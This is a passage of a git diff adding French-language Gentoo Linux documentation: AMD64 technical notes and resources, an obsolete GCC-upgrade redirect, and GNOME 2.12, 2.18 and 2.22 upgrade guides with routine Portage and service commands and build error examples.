+Ne mettez pas <c>-m32</c> dans vos paramètres USE, dans la mesure où vous ne
+souhaiterez probablement pas compiler votre système en mode 32&nbsp;bits. Par
+défaut, Gentoo ne supporte de toute façon pas la compilation de binaires en
+32&nbsp;bits. Utiliser le paramètre <c>-m64</c> est inutile dans la mesure où le
+compilateur utilisera le mode 64&nbsp;bits par défaut et cela peut avoir des
+effets négatifs sur le code qui dispose du paramètre <c>-m32</c> de manière
+interne, pour compiler du binaire 32&nbsp;bits (comme par exemple les dernières
+versions de grub).
+</p>
+
+<warn>
+N'utilisez pas <c>-Os</c>. C'est un paramètre connu pour empêcher des parties de
+KDE 3.2.0 de compiler.
+</warn>
+
+</body>
+</section>
+
+<section>
+<title>Paramètres USE qui sont ignorés</title>
+<body>
+
+<p>
+Les paramètres USE <c>mmx</c>, <c>3dnow</c>, <c>sse</c> et <c>sse2</c> sont
+ignorés sur AMD64, dans la mesure où tous les processeurs AMD64 supportent ces
+jeux d'instructions. Ils sont ignorés car ils activent l'optimisation
+32&nbsp;bits d'assembleur pour certains paquets.
+</p>
+
+</body>
+</section>
+
+<section>
+<title>Rapporter des bogues et soumettre des correctifs</title>
+<body>
+
+<p>
+Si vous avez une application avec laquelle vous avez des problèmes, si vous
+disposez d'un correctif pour corriger des problèmes ou simplement si vous voulez
+rapporter une compilation réalisée avec succès afin que nous puissions en tenir
+compte dans Portage, merci de rapporter un bogue sur <uri
+link="http://bugs.gentoo.org">bugs.gentoo.org</uri>.
+</p>
+
+<note>
+Vous pouvez mettre <mail link="amd64@gentoo.org">amd64@gentoo.org</mail> dans le
+champ «&nbsp;CC:&nbsp;» si vous le souhaitez.
+</note>
+
+<note>
+Pour soumettre un correctif, vous devez tout d'abord créer un rapport de bogue,
+puis revenir sur le rapport et choisir «&nbsp;Create a new attachment&nbsp;».
+</note>
+
+</body>
+</section>
+
+</sections>
diff --git a/xml/htdocs/proj/fr/base/amd64/technotes/resources.xml b/xml/htdocs/proj/fr/base/amd64/technotes/resources.xml
new file mode 100644
index 00000000..6e704722
--- /dev/null
+++ b/xml/htdocs/proj/fr/base/amd64/technotes/resources.xml
@@ -0,0 +1,89 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/proj/fr/base/amd64/technotes/resources.xml,v 1.2 2005/03/29 20:21:45 neysx Exp $ -->
+<!DOCTYPE sections SYSTEM "/dtd/book.dtd">
+
+<!-- The context of this document is licensed under the CC-BY-SA license -->
+<!-- See http://creativecommonds.org/licenses/by-sa/1.0 -->
+
+<sections>
+
+<version>2004.3</version>
+<date>2005-02-19</date>
+
+<section>
+<title>Ressources additionnelles pour Gentoo/AMD64</title>
+<subsection>
+<title>Le manuel officiel d'installation de Gentoo</title>
+<body>
+
+<p>
+Ces notes techniques ne sont qu'un complément à la documentation officielle de
+Gentoo. Lisez le <uri
+link="http://www.gentoo.org/doc/fr/handbook/handbook.xml">Manuel Gentoo</uri>
+pour avoir des informations d'ordre générique sur l'installation de Gentoo.
+</p>
+
+</body>
+</subsection>
+
+<subsection>
+<title>Listes de diffusion et forums de discussion</title>
+<body>
+
+<p>
+Le projet Gentoo/AMD64 dispose actuellement d'une liste de diffusion et d'une
+catégorie dédiée dans les forums officiels de Gentoo qui vous permettront de
+poser vos questions.
+</p>
+
+<ul>
+ <li>
+  Le forum&nbsp;: <uri>http://forums.gentoo.org/viewforum.php?f=46</uri>.
+ </li>
+ <li>
+  La liste de diffusion&nbsp;: <mail
+  link="gentoo-amd64-subscribe@gentoo.org">Souscrire</mail> / <mail
+  link="gentoo-amd64-unsubscribe@gentoo.org">Se désinscrire</mail> / <uri
+  link="http://www.gentoo.org/main/en/lists.xml">Aperçu des différentes listes
+  de diffusion</uri>.
+ </li>
+</ul>
+
+</body>
+</subsection>
+
+<subsection>
+<title>Canal de discussion IRC Gentoo/AMD64</title>
+<body>
+
+<p>
+Si vous avez lu toute la documentation et avez toujours un doute sur un point
+précis concernant le projet, le mieux est alors de poser votre question
+directement sur le canal de discussion IRC #gentoo-amd64 sur le serveur IRC
+irc.freenode.net.
+</p>
+
+<note>
+Il est important de bien lire les notes techniques <e>en premier</e> avant de
+poser des questions sur les forums, les listes de diffusion ou sur IRC.
+</note>
+
+</body>
+</subsection>
+
+<subsection>
+<title>Le site x86-64.org</title>
+<body>
+
+<p>
+Si vous êtes intéressé par l'écriture de correctifs pour améliorer les ebuilds
+qui ne fonctionnent pas, la <uri link="http://www.x86-64.org">page Internet
+AMD64</uri> contient des informations utiles sur le port d'applications vers une
+plate-forme de type AMD64.
+</p>
+
+</body>
+</subsection>
+</section>
+
+</sections>
diff --git a/xml/htdocs/proj/fr/base/x86/gcc-upgrading-guide.xml b/xml/htdocs/proj/fr/base/x86/gcc-upgrading-guide.xml
new file mode 100644
index 00000000..b1e5a08d
--- /dev/null
+++ b/xml/htdocs/proj/fr/base/x86/gcc-upgrading-guide.xml
@@ -0,0 +1,38 @@
+<?xml version='1.0' encoding="UTF-8"?>
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/proj/fr/base/x86/gcc-upgrading-guide.xml,v 1.4 2005/12/21 10:39:14 neysx Exp $ -->
+
+<!DOCTYPE guide SYSTEM "/dtd/guide.dtd">
+
+<guide link="gcc-upgrading-guide.xml" disclaimer="obsolete" redirect="/doc/fr/gcc-upgrading.xml" lang="fr">
+<title>Mise à jour de GCC pour Gentoo Linux</title>
+
+<author title="Author">
+  <mail link="jkt@gentoo.org">Jan Kundrát</mail>
+</author>
+
+<abstract>
+Ce guide a été remplacé par une autre version.
+</abstract>
+
+<!-- The content of this document is licensed under the CC-BY-SA license -->
+<!-- See http://creativecommons.org/licenses/by-sa/2.5 -->
+<license/>
+
+<version>2.0</version>
+<date>2005-12-08</date>
+
+<chapter>
+<title>Avertissement</title>
+<section>
+<body>
+
+<p>
+Ce guide a été étendu et remplacé par une <uri
+link="/doc/fr/gcc-upgrading.xml">version plus générique</uri>.  Veuillez
+consulter la nouvelle version.
+</p>
+
+</body>
+</section>
+</chapter>
+</guide>
diff --git a/xml/htdocs/proj/fr/desktop/gnome/howtos/gnome-2.12-upgrade.xml b/xml/htdocs/proj/fr/desktop/gnome/howtos/gnome-2.12-upgrade.xml
new file mode 100644
index 00000000..30c80430
--- /dev/null
+++ b/xml/htdocs/proj/fr/desktop/gnome/howtos/gnome-2.12-upgrade.xml
@@ -0,0 +1,342 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE guide SYSTEM "/dtd/guide.dtd">
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/proj/fr/desktop/gnome/howtos/gnome-2.12-upgrade.xml,v 1.1 2006/02/07 16:48:38 neysx Exp $ -->
+
+<guide link="/proj/fr/desktop/gnome/howtos/gnome-2.12-upgrade.xml" lang="fr">
+
+<title>Guide de passage à GNOME 2.12</title>
+<author title="Auteur">
+  <mail link="allanonjl@gentoo.org">John N. Laliberte</mail>
+</author>
+<author title="Traducteur">
+  <mail link="koppatroopa@yahoo.fr">Bertrand Coppa</mail>
+</author>
+
+<abstract>
+Ce guide vous explique la méthode recommandée pour mettre à jour GNOME vers
+la version 2.12. Il suppose que GNOME 2.12 est en stable. 2.12 devrait passer
+en stable sur toutes les architectures très bientôt.
+</abstract>
+
+<!-- The content of this document is licensed under the CC-BY-SA license -->
+<!-- See http://creativecommons.org/licenses/by-sa/2.5 -->
+<license/>
+
+<version>1.3</version>
+<date>2006-01-21</date>
+
+<chapter>
+<title>Préparation</title>
+<section>
+<title>Préparer l'environment</title>
+<body>
+
+<p>
+Assurez-vous que votre variable USE contient bien les options hal, dbus et
+cairo. Si vous pensez utiliser evolution-exchange, ajoutez-y kerberos et ldap.
+</p>
+
+</body>
+</section>
+<section>
+<title>Mettre Python à jour</title>
+<body>
+
+<p>
+Assurez-vous d'utilisez python 2.4. Faites la mise à jour si vous avez toujours
+python 2.3. Si vous n'avez pas lancé <c>python-updater</c> depuis la mise à
+jour vers la version 2.4, vous devriez le faire maintenant.
+</p>
+
+<pre caption="Mettre Python à jour">
+# <i>emerge -av python</i>
+# <i>python-updater</i>
+</pre>
+
+</body>
+</section>
+<section>
+<title>Autres vérifications</title>
+<body>
+
+<warn>
+Si vous avez installé <c>gnome-doc-utils</c>, reinstallez-le. Vous devriez
+maintenant avoir une version supérieure ou égale à 0.4.1.
+</warn>
+
+</body>
+</section>
+<section>
+<body>
+
+<impo>
+Vous voulez que le montage automatique des clefs USB et autres fonctionne
+simplement&nbsp;? Consultez le paragraphe <uri link="#now-what">Et
+maintenant&nbsp;?</uri> de ce guide.
+</impo>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Mise à jour vers 2.12</title>
+<section>
+<body>
+
+<p>
+C'est la partie marrante :)
+</p>
+
+<pre caption="Mettre à jour vers GNOME 2.12">
+# <i>emerge -av gnome</i>
+</pre>
+
+<p>
+Ou bien, si vous n'aimez pas les poids lourds&nbsp;:
+</p>
+
+<pre caption="Mettre à jour vers GNOME 2.12 allégé">
+# <i>emerge -av gnome-light</i>
+</pre>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Utiliser revdep-rebuild</title>
+<section>
+<body>
+
+<p>
+Vérifiez s'il faut utiliser <c>revdep-rebuild</c>&nbsp;:
+</p>
+
+<pre caption="Lancer revdep-rebuild">
+# <i>revdep-rebuild -p</i>
+</pre>
+
+<p>
+Si vous voyez une liste de paquets, il faut utiliser <c>revdep-rebuild</c>.
+Enlevez l'option <c>-p</c> et relancez-le.
+</p>
+
+</body>
+</section>
+</chapter>
+
+<chapter id="now-what">
+<title>Et maintenant&nbsp;?</title>
+<section>
+<body>
+
+<p>
+Ajoutez votre utilisateur au groupe plugdev.
+</p>
+
+<p>
+Ensuite, quittez votre session GNOME et relancez-la&nbsp;!
+</p>
+
+</body>
+</section>
+<section>
+<title>Vous voulez que vos gadgets soient montés automatiquement lorsque vous
+les branchez&nbsp;?</title>
+<body>
+
+<p>
+Une fois encore, assurez-vous de bien avoir les options hal et dbus dans votre
+variable USE.
+</p>
+
+<p>
+Il faut aussi ajouter votre utilisateur au groupe plugdev après que ce groupe
+ait été créé par l'ebuild pmount. Autrement, le montage automatique ne
+fonctionnera pas. Il faudra probablement relancer votre session après l'ajout
+dans le groupe plugdev. Vous pouvez vérifier si vous êtes dans le groupe
+plugdev en tapant <c>id</c> dans un terminal.
+</p>
+
+<p>
+Il est recommandé d'utiliser gamin à la place de fam. Une manière d'utiliser
+gamin est d'avoir activé inotify dans le noyau. Gamin supporte inotify, dnotify
+et file-polling. Si vous avez des problèmes avec gamin vous pouvez tout de même
+utiliser fam à la place.
+</p>
+
+<note>
+Si vous voulez en savoir plus à propos de la configuration de gamin, consultez
+<uri>http://www.gnome.org/~veillard/gamin/config.html</uri>.
+</note>
+
+<impo>
+Gamin n'a pas de script de démarrage, vous n'avez donc pas besoin de l'ajouter
+à un service de démarrage.
+</impo>
+
+<p>
+L'option inotify se trouve sous&nbsp;: «&nbsp;File systems -> Inotify file
+change notification support&nbsp;» dans la configuration de votre noyau.
+</p>
+
+<p>
+Si vous choisissez d'utiliser gamin et que vous utilisiez fam auparavant,
+exécutez les commandes suivantes&nbsp;:
+</p>
+
+<pre caption="Passer de fam à gamin">
+# <i>rc-update del famd</i>
+# <i>emerge unmerge fam</i>
+# <i>emerge -av gamin</i>
+</pre>
+
+<p>
+Ensuite, mettez à jour votre machine pour qu'elle recompile les paquets avec
+les nouvelles options en utilisant <c>--newuse</c>. Une des méthode consiste à
+lancer la commande suivante&nbsp;:
+</p>
+
+<pre caption="Mettre à jour avec les nouvelles options de la variable USE">
+# <i>emerge -uDav --newuse world</i>
+</pre>
+
+<p>
+Ensuite, il faut lancer dbus et hal. Il faut qu'ils soient lancés à chaque
+démarrage de l'ordinateur.
+</p>
+
+<pre caption="dbus, hal, gamin">
+# <i>rc-update add hald default</i>
+# <i>/etc/init.d/hald start</i>
+</pre>
+
+<p>
+N'oubliez pas de vous ajouter au groupe plugdev dans <path>/etc/group</path>.
+</p>
+
+<p>
+Ensuite, vous devriez pouvoir lancer <c>gnome-volume-manager</c> sur la ligne
+de commande, insérer une clef USB et la regarder se monter automatiquement et
+placer une icône sur le bureau.
+</p>
+
+<p>
+Si vous voulez modifier le comportement de gnome-volume-manager, lancez
+<c>gnome-volume-properties</c> sur la ligne de commande. Cela devrait lancer
+gnome-volume-manager s'il ne l'est pas déjà.
+</p>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Problèmes de compilation courants</title>
+<section>
+<title>Est-ce que quelqu'un a déjà eu le même problème&nbsp;?</title>
+<body>
+
+<p>
+D'abord, est-ce que votre erreur ressemble à ce qui suit&nbsp;?
+</p>
+
+<pre caption="Erreurs">
+make[2]: Entering directory
+ `/var/tmp/portage/gnome-desktop-2.11.90/work/gnome-desktop-2.11.90/desktop-docs'
+ Making all in fdl
+ C/fdl.xml:603: parser error : Entity 'copy' not defined
+         Copyright copy; YEAR YOUR NAME.
+                         ^
+make[3]: Entering directory
+`/var/tmp/portage/gnome-desktop-2.11.90/work/gnome-desktop-2.11.90/desktop-docs/fdl'
+xsltproc -o fdl-C.omf --stringparam db2omf.basename fdl --stringparam
+db2omf.format 'docbook' --stringparam db2omf.dtd "-//OASIS//DTD DocBook XML
+V4.1.2//EN" --stringparam db2omf.lang C --stringparam db2omf.omf_dir
+"/usr/share/omf" --stringparam db2omf.help_dir "/usr/share/gnome/help"
+--stringparam db2omf.omf_in "`pwd`/./fdl.omf.in" `/usr/bin/pkg-config --variable
+db2omf gnome-doc-utils` C/fdl.xml
+compilation error: file C/fdl.xml line 15 element article
+xsltParseStylesheetProcess : document is not a stylesheet
+make[3]: *** [fdl-C.omf] Error 5
+make[2]: *** [all-recursive] Error 1
+make[1]: *** [all-recursive] Error 1
+make: *** [all] Error 2
+</pre>
+
+<note>
+Consultez <uri>http://bugs.gentoo.org/103322</uri> si vous rencontrez ce
+problème.
+</note>
+
+<note>
+Pour faire simple, il faut réinstaller <c>gnome-doc-utils</c> comme dit plus
+haut.
+</note>
+
+<pre caption="Autres erreurs">
+Traceback (most recent call last):
+  File "/usr/bin/xml2po", line 34, in ?
+      import libxml2
+      ImportError: No module named libxml2
+      make[2]: *** [de/file-roller.xml] Error 1
+      make[2]: *** Waiting for unfinished jobs....
+      Traceback (most recent call last):
+        File "/usr/bin/xml2po", line 34, in ?
+      import libxml2
+      ImportError: No module named libxml2
+make[2]: *** [es/file-roller.xml] Error 1
+make[2]: Leaving directory
+`/var/tmp/portage/file-roller-2.11.92/work/file-roller-2.11.92/help'
+make[1]: *** [all-recursive] Error 1
+make[1]: Leaving directory
+`/var/tmp/portage/file-roller-2.11.92/work/file-roller-2.11.92'
+make: *** [all] Error 2
+</pre>
+
+<pre caption="Encore d'autres erreurs">
+ACCESS DENIED  unlink:    /usr/share/xml2po/docbook.pyc
+ACCESS DENIED  open_wr:   /usr/share/xml2po/docbook.pyc
+ACCESS DENIED  unlink:    /usr/share/xml2po/docbook.pyc
+ACCESS DENIED  open_wr:   /usr/share/xml2po/docbook.pyc
+</pre>
+
+<note>
+Dans le premier cas, vous avez certainement oublié de lancer
+<c>python-updater</c>.
+</note>
+
+<note>
+Dans le second cas, vous avez certainement oublié de réinstaller
+<c>gnome-doc-utils</c>.
+</note>
+
+</body>
+</section>
+<section>
+<title>Et si ce n'est pas un de ces bogues&nbsp;?</title>
+<body>
+
+<p>
+Cherchez le nom du paquet dans bugzilla pour voir si quelqu'un a déjà rempli un
+rapport pour ceci. Vous devriez effectuer la recherche en utilisant «&nbsp;ALL
+nom-du-paquet&nbsp;» pour voir les bogues ouverts <e>et</e> fermés. Si vous
+n'en trouvez aucun de similaire, veuillez en rapporter un nouveau. Consultez
+les instructions ci-dessous.
+</p>
+
+<p>
+Si vous voulez savoir comment rapporter un bogue, veuillez consulter&nbsp;:
+<uri>http://www.gentoo.org/doc/en/bugzilla-howto.xml</uri>.
+</p>
+
+<p>
+Vous pouvez aussi contacter l'équipe Gentoo chargée de GNOME sur
+#gentoo-desktop.
+</p>
+
+</body>
+</section>
+</chapter>
+</guide>
diff --git a/xml/htdocs/proj/fr/desktop/gnome/howtos/gnome-2.18-upgrade.xml b/xml/htdocs/proj/fr/desktop/gnome/howtos/gnome-2.18-upgrade.xml
new file mode 100644
index 00000000..e29dc5bd
--- /dev/null
+++ b/xml/htdocs/proj/fr/desktop/gnome/howtos/gnome-2.18-upgrade.xml
@@ -0,0 +1,253 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE guide SYSTEM "/dtd/guide.dtd">
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/proj/fr/desktop/gnome/howtos/gnome-2.18-upgrade.xml,v 1.2 2007/09/12 15:04:20 cam Exp $ -->
+
+<guide link="/proj/fr/desktop/gnome/howtos/gnome-2.18-upgrade.xml" lang="fr">
+
+<title>Guide de mise à jour vers Gnome 2.18</title>
+<author title="Auteur">
+  <mail link="dang@gentoo.org">Daniel Gryniewicz</mail>
+</author>
+<author title="Correcteur">
+<mail link="leio@gentoo.org">Mart Raudsepp</mail>
+</author>
+<author title="Correcteur">
+  <mail link="nightmorph@gentoo.org">Joshua Saddler</mail>
+</author>
+<author title="Correcteur">
+  <mail link="cla@gentoo.org">Dawid Węgliński</mail>
+</author>
+<author title="Traducteur">
+  <mail link="koppatroopa@yahoo.fr">Bertrand Coppa</mail>
+</author>
+
+<abstract>
+Ceci est un guide de mise à jour de GNOME 2.16.x vers GNOME 2.18.x.
+</abstract>
+
+<!-- The content of this document is licensed under the CC-BY-SA license -->
+<!-- See http://creativecommons.org/licenses/by-sa/2.5 -->
+<license/>
+
+<version>1.5</version>
+<date>2007-08-18</date>
+
+<chapter>
+<title>Changements majeurs</title>
+<section>
+<title>Sons système et ESD</title>
+<body>
+
+<p>
+Les développeurs ont décidé de supprimer les capacités de lancement automatique
+d'ESD car elles étaient défaillantes et causaient de nombreux problèmes. Cela
+signifie que si vous utilisez les sons système, il faudra que vous lanciez le
+service esound. Cela peut être automatisé au démarrage en utilisant la commande
+suivante&nbsp;:
+</p>
+
+<pre caption="Activer le service esound au démarrage">
+# <i>rc-update add esound default</i>
+</pre>
+
+<p>
+Veuillez noter que cela ne lancera le service qu'après un redémarrage, donc pour
+l'utiliser immédiatement, utilisez ceci&nbsp;:
+</p>
+
+<pre caption="Démarrer le service esound">
+# <i>/etc/init.d/esound start</i>
+</pre>
+
+</body>
+</section>
+<section>
+<title>Totem ne supporte plus l'option xine de la variable USE&nbsp;!</title>
+<body>
+
+<p>
+Nous avons décidé de retirer le moteur Xine à cause de divers problèmes que nous
+ne pouvons pas corriger facilement. Nous savons que cela rend la lecture de DVD
+plus difficile. Cependant vous pouvez toujours les lire.  Assurez-vous d'avoir
+compilé <c>media-video/totem</c> avec l'option <c>dvd</c> de la variable USE
+activée, puis lancez&nbsp;:
+</p>
+
+<pre caption="Lire un DVD avec Totem">
+# <i>totem dvd://</i>
+</pre>
+
+<p>
+Cela jouera le film. Les menus ne sont malheureusement pas supportés.
+</p>
+
+<p>
+Nous cherchons un moyen de rendre possible la cohabitation des moteurs Xine et
+GStreamer dans Totem, afin de pouvoir sélectionner optionnellement le moteur
+Xine depuis la ligne de commande. Cependant cela resterait non supporté et
+fourni simplement pour le confort. Toute aide afin de réaliser cela le plus tôt
+possible sera appréciée.
+</p>
+
+</body>
+</section>
+<section>
+<title>Les options du greffon navigateur web de Totem ont changé&nbsp;!
+Maintenant j'ai Seamonkey</title>
+<body>
+
+<p>
+Les options de la variable USE du moteur Gecko de Totem ont été réarrangées.
+Plutôt que de choisir Seamonkey par défaut et Firefox ou Xulrunner via les
+options, Firefox est maintenant choisi par défaut et les deux autres par option.
+Il y a deux raisons&nbsp;: d'abord, Seamonkey ne fonctionne pas sur toutes les
+architectures, il fallait donc une option de la variable USE qui puisse être
+masquée. Ensuite, cela permet à Totem de fonctionner avec les autres
+applications Gnome, telles que Epiphany. Voici les différentes combinaisons
+possibles d'options et ce qu'elles signifient maintenant pour Totem&nbsp;:
+</p>
+
+<table>
+<tr>
+  <th colspan="2">
+    Combinaisons d'options de la variable USE pour le greffon navigateur web de
+    Totem.
+  </th>
+</tr>
+<tr>
+  <th>Option(s)</th>
+  <th>Résultat</th>
+</tr>
+<tr>
+  <ti>USE="<c>-nsplugin</c>"</ti>
+  <ti>
+    Désactive le greffon, aucun moteur Gecko ne sera installé en dépendance.
+  </ti>
+</tr>
+<tr>
+  <ti>USE="<c>nsplugin -xulrunner -seamonkey</c>"</ti>
+  <ti>
+    Compile le greffon en utilisant Firefox. Ceci est par défaut dans tous les
+    profils.
+  </ti>
+</tr>
+<tr>
+  <ti>USE="<c>nsplugin xulrunner -seamonkey</c>"</ti>
+  <ti>Compile le greffon en utilisant Xulrunner.</ti>
+</tr>
+<tr>
+  <ti>USE="<c>nsplugin xulrunner seamonkey</c>"</ti>
+  <ti>
+    Compile le greffon en utilisant Xulrunner (Xulrunner a la priorité sur
+    Seamonkey).
+  </ti>
+</tr>
+<tr>
+  <ti>USE="<c>nsplugin -xulrunner seamonkey</c>"</ti>
+  <ti>Compile en utilisant Seamonkey.</ti>
+</tr>
+</table>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Problèmes connus</title>
+<section>
+<title>Icones système manquantes (particulièrement gnome-power-manager)</title>
+<body>
+
+<p>
+Ceci est un bogue connu dans Gnome 2.18, où les icônes des éléments démarrant
+avec votre session ne sont pas affichées dans la barre des tâches. Cela arrive
+principalement à gnome-power-manager. Nous espérons corriger cela à l'avenir,
+mais pour le moment l'astuce est de relancer le programme après que la session
+ait démarrée et l'icône sera affichée durant le reste de la session. Pour
+gnome-power-manager, ouvrez un terminal et procédez comme suit&nbsp;:
+</p>
+
+<pre caption="Récupérer l'icône de gnome-power-manager">
+# <i>killall gnome-power-manager</i>
+# <i>gnome-power-manager</i>
+</pre>
+
+<p>
+Ceci fera réapparaître l'icône de g-p-m.
+</p>
+
+</body>
+</section>
+<section>
+<title>Deskbar-applet refuse de démarrer à la connexion lorsque tracker est
+utilisé</title>
+<body>
+
+<p>
+Il y a un bogue connu qui affecte trackerd et cause un conflit au démarrage
+lorsque trackerd se lance et que deskbar-applet essaye de le lancer via
+l'interface dbus. À cause de cela, deskbar-applet se termine. Pour faire
+fonctionner deskbar-applet à nouveau (avec tracker), ouvrez un terminal et
+procédez comme suit&nbsp;:
+</p>
+
+<pre caption="Faire fonctionner deskbar-applet">
+# <i>killall deskbar-applet</i>
+</pre>
+
+<p>
+Puis, quand la fenêtre de dialogue apparaît en demandant de le relancer,
+choisissez Recharger.
+</p>
+
+<p>
+Ceci doit être fait une fois au démarrage de la session. Deskbar-applet
+fonctionnera ensuite pour le restant de la session.
+</p>
+
+</body>
+</section>
+<section>
+<title>La compilation échoue avec des erreurs de XML::, et d'autres notes de
+compilation</title>
+<body>
+
+<p>
+Cela arrive parce qu'<c>expat</c> est passé dans la branche stable en même
+temps que Gnome 2.18. Vous devez recompiler tout ce qui y est lié une fois
+qu'expat a été mis à jour, ce qui est généralement fait au début du processus
+de mise à jour. Pour ce faire, lancez&nbsp;:
+</p>
+
+<pre caption="Corriger les problèmes d'expat">
+# <i>revdep-rebuild -X</i>
+</pre>
+
+<p>
+Cela recompilera tout ce qui a été cassé par expat, tout en effectuant les mises
+à jour. Une fois terminé, vous devriez pouvoir finir la mise à jour du reste de
+Gnome.
+</p>
+
+<p>
+Une fois que la mise à jour complète de Gnome 2.18 est terminée, vous devez
+lancer <c>revdep-rebuild</c> plusieurs autres fois jusqu'à ce qu'il ne renvoie
+plus rien, ce qui indique que Gnome et toutes ses dépendances ont été
+correctement compilés. Après ça, n'oubliez pas de lancer
+<c>dispatch-conf</c>&nbsp;!
+</p>
+
+<p>
+Enfin, DBus et HAL doivent être relancés s'ils tournaient durant la mise à
+jour&nbsp;:
+</p>
+
+<pre caption="Redémarrage des services">
+# <i>/etc/init.d/dbus restart</i>
+# <i>/etc/init.d/hald restart</i>
+</pre>
+
+</body>
+</section>
+</chapter>
+</guide>
diff --git a/xml/htdocs/proj/fr/desktop/gnome/howtos/gnome-2.22-upgrade.xml b/xml/htdocs/proj/fr/desktop/gnome/howtos/gnome-2.22-upgrade.xml
new file mode 100644
index 00000000..60d6f3e7
--- /dev/null
+++ b/xml/htdocs/proj/fr/desktop/gnome/howtos/gnome-2.22-upgrade.xml
@@ -0,0 +1,199 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE guide SYSTEM "/dtd/guide.dtd">
+<!-- $Header $ -->
+
+<guide link="/proj/fr/desktop/gnome/howtos/gnome-2.22-upgrade.xml">
+<title>Guide de mise à jour vers Gnome 2.22</title>
+
+<author title="Auteur">
+  <mail link="remi"/>
+</author>
+<author title="Auteur">
+  <mail link="leio"/>
+</author>
+<author title="Correcteur">
+  <mail link="nightmorph"/>
+</author>
+<author title="Traducteur">
+  <mail link="titefleur"/>
+</author>
+
+<abstract>
+Ceci est le guide de mise à jour de GNOME 2.20.x vers GNOME 2.22.x.
+</abstract>
+
+<!-- The content of this document is licensed under the CC-BY-SA license -->
+<!-- See http://creativecommons.org/licenses/by-sa/2.5 -->
+<license/>
+
+<version>1.3</version>
+<date>2008-06-20</date>
+
+<chapter>
+<title>Changements</title>
+<section>
+<title>Montage automatique des périphériques amovibles</title>
+<body>
+
+<p>
+Le montage automatique a subi des changements majeurs dans Gnome 2.22. Il est
+maintenant géré par Nautilus et non plus par
+<c>gnome-base/gnome-volume-manager</c>. Toutefois, <c>gnome-volume-manager</c>
+est toujours utilisé pour détecter les matériels récents tels que les appareils
+photo.
+</p>
+
+<p>
+Conséquence de ce changement, le paramètre <c>automount</c> a fait son
+apparition dans <c>gnome-volume-manager</c> pour les utilisateurs qui
+voudraient conserver l'ancien comportement. Les utilisateurs qui utilisaient
+<c>gnome-volume-manager</c> avec un environnement autre que Gnome sont vivement
+encouragés à activer ce paramètre. Les utilisateurs de Gnome sont quant à eux
+vivement encouragés à s'assurer que ce paramètre n'est pas actif afin de ne pas
+créer de problèmes avec Nautilus.
+</p>
+
+</body>
+</section>
+<section>
+<title>Le gestionnaire de clefs Seahorse</title>
+<body>
+
+<p>
+Depuis la version 2.22, Seahorse (<c>app-crypt/seahorse</c>) est le
+gestionnaire officiel de clefs et de mots de passe, remplaçant ainsi l'ancien
+GNOME Keyring Manager (<c>gnome-extra/gnome-keyring-manager</c>). Il permet de
+gérer à la fois les clefs GPG et SSH et peut être également utilisé pour gérer
+les mots de passe sauvés dans votre trousseau de clefs Gnome.
+</p>
+
+<p>
+Si vous êtes satisfait de Seahorse après votre mise à jour de Gnome, vous
+pouvez désinstaller <c>gnome-keyring-manager</c> sans problème.
+</p>
+
+</body>
+</section>
+<section>
+<title>Intégration de PAM et du trousseau de clefs GNOME</title>
+<body>
+
+<p>
+Depuis GNOME 2.20, GNOME Keyring (<c>gnome-base/gnome-keyring</c>) fournit un
+module PAM (<path>pam_gnome_keyring.so</path>) pour débloquer automatiquement
+votre trousseau de clefs lorsque vous vous identifiez à votre session, ce qui
+vous évite de devoir entrer deux mots de passe.
+</p>
+
+<p>
+Dans GNOME 2.22, cette fonctionnalité est à présent plus facilement
+configurable grâce à <c>sys-auth/pambase</c> qui possède un paramètre USE
+<c>gnome-keyring</c>. L'activation de ce paramètre insert automatiquement
+<path>pam_keyring.so</path> aux bons endroits dans les fichiers de
+configuration de PAM situés dans <path>/etc/pam.d/</path>.  N'oubliez juste pas
+d'exécuter <c>dispatch-conf</c> ou un outil similaire de votre choix après
+avoir installé <c>pambase</c> pour mettre à jour ces fichiers.
+</p>
+
+</body>
+</section>
+<section>
+<title>Autres changements</title>
+<body>
+
+<p>
+Veuillez consulter les <uri
+link="http://library.gnome.org/misc/release-notes/2.22/">notes de GNOME
+2.22</uri> pour voir les autres changements de cette version majeure de
+GNOME.
+</p>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Problèmes connus</title>
+<section>
+<title>Mise à jour de Python 2.5</title>
+<body>
+
+<p>
+Avant de mettre à jour vers GNOME 2.22, assurez-vous de n'avoir <e>que</e>
+<c>dev-lang/python-2.5*</c> et que votre système est à jour.
+</p>
+
+<pre caption="Mise à jour de python">
+# <i>emerge -av dev-lang/python:2.5</i>
+# <i>python-updater</i>
+# <i>emerge -C dev-lang/python:2.4</i>
+</pre>
+
+<warn>
+Si vous ouvrez des bogues relatifs à des erreurs de Python et que vous utilisez
+toujours Python 2.4, nous vous demanderons <e>dans tous les cas</e> de mettre à
+jour vers Python 2.5. Les groupes GNOME n'assurent <e>pas</e> le support de
+GNOME 2.22 avec Python 2.4.
+</warn>
+
+</body>
+</section>
+<section>
+<title>Paquets bloqués</title>
+<body>
+
+<p>
+Avec GNOME 2.22, certains paquets sont séparés en deux, afin de permettre aux
+autres applications d'utiliser les librairies internes précédentes. Par
+exemple, la librairie d'analyseur syntaxique de liste de lecture utilisée dans
+<c>totem</c> est à présent séparée dans <c>dev-libs/totem-pl-parser</c>, afin
+que <c>rhythmbox</c> puisse en bénéficier sans dépendre de <c>totem</c>.
+</p>
+
+<p>
+Tous ces paquets bloquants doivent être en place entre eux pour éviter les
+collisions de fichiers. Pour contourner cela, suivez simplement les
+instructions du <uri
+link="http://www.gentoo.org/doc/en/handbook/handbook-x86.xml?full=1#blocked">Manuel</uri>
+concernant Portage. En particulier, désinstallez temporairement les paquets en
+conflit et continuez, les paquets désinstallés seront résinstallés via le
+paquet meta ou par une autre application de GNOME en dépendant.
+</p>
+
+</body>
+</section>
+<section>
+<title>GNOME n'est plus disponible dans les options de session de GDM</title>
+<body>
+
+<p>
